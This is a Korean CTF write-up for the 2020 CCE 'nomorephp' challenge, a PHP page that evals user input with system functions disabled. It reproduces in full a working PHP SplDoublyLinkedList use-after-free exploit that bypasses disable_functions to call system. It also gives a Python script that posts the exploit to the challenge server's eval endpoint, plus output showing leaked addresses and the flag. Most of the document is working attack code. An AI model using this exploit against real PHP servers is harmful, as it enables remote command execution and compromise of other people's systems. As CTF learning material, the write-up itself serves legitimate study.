2020 CCE - nomorephp

문제는 이게 끝이다.

1
2
3
4
<?php
eval($_GET['code']);
show_source(__FILE__);
?>

우선 http://54.180.143.146/?code=phpinfo();phpinfo 를 확인해보면 아래와 같은 정보들을 얻을 수 있다.

- PHP Version 7.4.10
- open_basedir /var/www/html
- disable_functions : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,fwrite,ini_set,chdir

버전이 생각보다 최신버전이고.. disable function들이 많아서 .so파일을 업로드해서 setenvLD_PRELOAD 설정하고 error_logmail함수로 트리거 하는게 전형적인 bypass 방식이지만
우선 이 문제는 그 어느곳에도 업로드할만한 곳이 보이질 않았다. /tmp도 업로드가 안되고..

근데 검색해보니 그저께 7.4.10 에서도 가능한 UAF Sandbox Escape 코드 글이 올라왔었다.
https://ssd-disclosure.com/ssd-advisory-php-spldoublylinkedlist-uaf-sandbox-escape/

그대로 코드 복붙하니.. 됐다..
저 글을 보기전에 긴 시간동안 삽질을 했다보니 좀 많이 허탈하기도 했고 문제 의도가 궁금하기도 하고.. 그냥 이 write-up은 기록차 올리기로 했다..

uaf.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
<?php
#
# PHP SplDoublyLinkedList::offsetUnset UAF
# Charles Fol (@cfreal_)
# 2020-08-07
# PHP is vulnerable from 5.3 to 8.0 alpha
# This exploit only targets PHP7+.
#
# SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
# Said iteration is done by keeping a pointer to the "current" DLL element.
# You can then call next() or prev() to make the DLL point to another element.
# When you delete an element of the DLL, PHP will remove the element from the
# DLL, then destroy the zval, and finally clear the current ptr if it points
# to the element. Therefore, when the zval is destroyed, current is still
# pointing to the associated element, even if it was removed from the list.
# This allows for an easy UAF, because you can call $dll->next() or
# $dll->prev() in the zval's destructor.
#
#


define('NB_DANGLING', 200);
define('SIZE_ELEM_STR', 40 - 24 - 1);
define('STR_MARKER', 0xcf5ea1);

function i2s(&$s, $p, $i, $x=8)
{
for($j=0;$j<$x;$j++)
{
$s[$p+$j] = chr($i & 0xff);
$i >>= 8;
}
}


function s2i(&$s, $p, $x=8)
{
$i = 0;

for($j=$x-1;$j>=0;$j--)
{
$i <<= 8;
$i |= ord($s[$p+$j]);
}

return $i;
}


class UAFTrigger
{
function __destruct()
{
global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets;

#"print('UAF __destruct: ' . "\n");
$dlls[NB_DANGLING]->offsetUnset(0);

# At this point every $dll->current points to the same freed chunk. We allocate
# that chunk with a string, and fill the zval part
$fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
i2s($fake_dll_element, 0x00, 0x12345678); # ptr
i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff

# Each of these dlls current->next pointers point to the same location,
# the string we allocated. When calling next(), our fake element becomes
# the current value, and as such its rc is incremented. Since rc is at
# the same place as zend_string.len, the length of the string gets bigger,
# allowing to R/W any part of the following memory
for($i = 0; $i <= NB_DANGLING; $i++)
$dlls[$i]->next();

if(strlen($fake_dll_element) <= SIZE_ELEM_STR)
die('Exploit failed: fake_dll_element did not increase in size');

$leaked_str_offsets = [];
$leaked_str_zval = [];

# In the memory after our fake element, that we can now read and write,
# there are lots of zend_string chunks that we allocated. We keep three,
# and we keep track of their offsets.
for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40)
{
# If we find a string marker, pull it from the string list
if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER)
{
$leaked_str_offsets[] = $offset;
$leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)];
if(count($leaked_str_zval) == 3)
break;
}
}

if(count($leaked_str_zval) != 3)
die('Exploit failed: unable to leak three zend_strings');

# free the strings, except the three we need
$strs = null;

# Leak adress of first chunk
unset($leaked_str_zval[0]);
unset($leaked_str_zval[1]);
unset($leaked_str_zval[2]);
$first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]);

# At this point we have 3 freed chunks of size 40, which we can read/write,
# and we know their address.
print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "\n");

# In the third one, we will allocate a DLL element which points to a zend_array
$rw_dll->push([3]);
$array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18);
# Change the zval type from zend_object to zend_string
i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);
if(gettype($rw_dll[0]) != 'string')
die('Exploit failed: Unable to change zend_array to zend_string');

# We can now read anything: if we want to read 0x11223300, we make zend_string*
# point to 0x11223300-0x10, and read its size using strlen()

# Read zend_array->pDestructor
$zval_ptr_dtor_addr = read($array_addr + 0x30);

print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "\n");

# Use it to find zif_system
$system_addr = get_system_address($zval_ptr_dtor_addr);
print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "\n");

# In the second freed block, we create a closure and copy the zend_closure struct
# to a string
$rw_dll->push(function ($x) {});
$closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18);
$data = str_shuffle(str_repeat('A', 0x200));

for($i = 0; $i < 0x138; $i += 8)
{
i2s($data, $i, read($closure_addr + $i));
}

# Change internal func type and pointer to make the closure execute system instead
i2s($data, 0x38, 1, 4);
i2s($data, 0x68, $system_addr);

# Push our string, which contains a fake zend_closure, in the last freed chunk that
# we control, and make the second zval point to it.
$rw_dll->push($data);
$fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24;
i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure);
print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "\n");

# Calling it now

print('Running system("cat /flag");' . "\n");
$rw_dll[1]('cat /flag');

print_r('DONE'."\n");
}
}

class DanglingTrigger
{
function __construct($i)
{
$this->i = $i;
}

function __destruct()
{
global $dlls;
#D print('__destruct: ' . $this->i . "\n");
$dlls[$this->i]->offsetUnset(0);
$dlls[$this->i+1]->push(123);
$dlls[$this->i+1]->offsetUnset(0);
}
}

class SystemExecutor extends ArrayObject
{
function offsetGet($x)
{
parent::offsetGet($x);
}
}

/**
* Reads an arbitrary address by changing a zval to point to the address minus 0x10,
* and setting its type to zend_string, so that zend_string->len points to the value
* we want to read.
*/
function read($addr, $s=8)
{
global $fake_dll_element, $leaked_str_offsets, $rw_dll;

i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10);
i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);

$value = strlen($rw_dll[0]);

if($s != 8)
$value &= (1 << ($s << 3)) - 1;

return $value;
}

function get_binary_base($binary_leak)
{
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++)
{
$addr = $start - 0x1000 * $i;
$leak = read($addr, 7);
# ELF header
if($leak == 0x10102464c457f)
return $addr;
}
# We'll crash before this but it's clearer this way
die('Exploit failed: Unable to find ELF header');
}

function parse_elf($base)
{
$e_type = read($base + 0x10, 2);

$e_phoff = read($base + 0x20);
$e_phentsize = read($base + 0x36, 2);
$e_phnum = read($base + 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = read($header + 0x00, 4);
$p_flags = read($header + 0x04, 4);
$p_vaddr = read($header + 0x10);
$p_memsz = read($header + 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
die('Exploit failed: Unable to parse ELF');

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = read($data_addr + $i * 8);
if($leak - $base > 0 && $leak < $data_addr) {
$deref = read($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = read($data_addr + ($i + 4) * 8);
if($leak - $base > 0 && $leak < $data_addr) {
$deref = read($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_system($basic_funcs)
{
$addr = $basic_funcs;
do {
$f_entry = read($addr);
$f_name = read($f_entry, 6);

if($f_name == 0x6d6574737973) { # system
return read($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function get_system_address($binary_leak)
{
$base = get_binary_base($binary_leak);
print('ELF base: 0x' .dechex($base) . "\n");
$elf = parse_elf($base);
$basic_funcs = get_basic_funcs($base, $elf);
print('Basic functions: 0x' .dechex($basic_funcs) . "\n");
$zif_system = get_system($basic_funcs);
return $zif_system;
}

$dlls = [];
$strs = [];
$rw_dll = new SplDoublyLinkedList();


# Create a chain of dangling triggers, which will all in turn
# free current->next, push an element to the next list, and free current
# This will make sure that every current->next points the same memory block,
# which we will UAF.
for($i = 0; $i < NB_DANGLING; $i++)
{
$dlls[$i] = new SplDoublyLinkedList();
$dlls[$i]->push(new DanglingTrigger($i));
$dlls[$i]->rewind();
}

# We want our UAF'd list element to be before two strings, so that we can
# obtain the address of the first string, and increase is size. We then have
# R/W over all memory after the obtained address.
define('NB_STRS', 50);
for($i = 0; $i < NB_STRS; $i++)
{
$strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
i2s($strs[$i], 0, STR_MARKER);
i2s($strs[$i], 8, $i, 7);
}

# Free one string in the middle, ...
$strs[NB_STRS - 20] = 123;
# ... and put the to-be-UAF'd list element instead.
$dlls[0]->push(0);

# Setup the last DLlist, which will exploit the UAF
$dlls[NB_DANGLING] = new SplDoublyLinkedList();
$dlls[NB_DANGLING]->push(new UAFTrigger());
$dlls[NB_DANGLING]->rewind();

# Trigger the bug on the first list
$dlls[0]->offsetUnset(0);
die();

solve.py
1
2
3
4
5
6
7
8
import requests

data = {
'payload': open('uaf.php').read().replace('<?php', '')
}

response = requests.post("http://54.180.143.146/?code=eval($_POST['payload']);", data=data)
print(response.text)

실행 결과

kimtruth ❯ python solve.py
Address of first RW chunk: 0x7f62a92caa00
Leaked zval_ptr_dtor address: 0x7f62aa1557c0
ELF base: 0x7f62a9d48000
Basic functions: 0x7f62aaa5b920
Got PHP_FUNCTION(system): 0x7f62aa071100
Replaced zend_closure by the fake one: 0x7f62a92b7298
Running system("cat /flag");
cce2020{4fa3e037f19d5be412006921e569d581b063f6df64adab8254bddfb37ec39fa61387cabc70a71e3acecf41257cd4f7550e22bb26013cf51b}
DONE
Share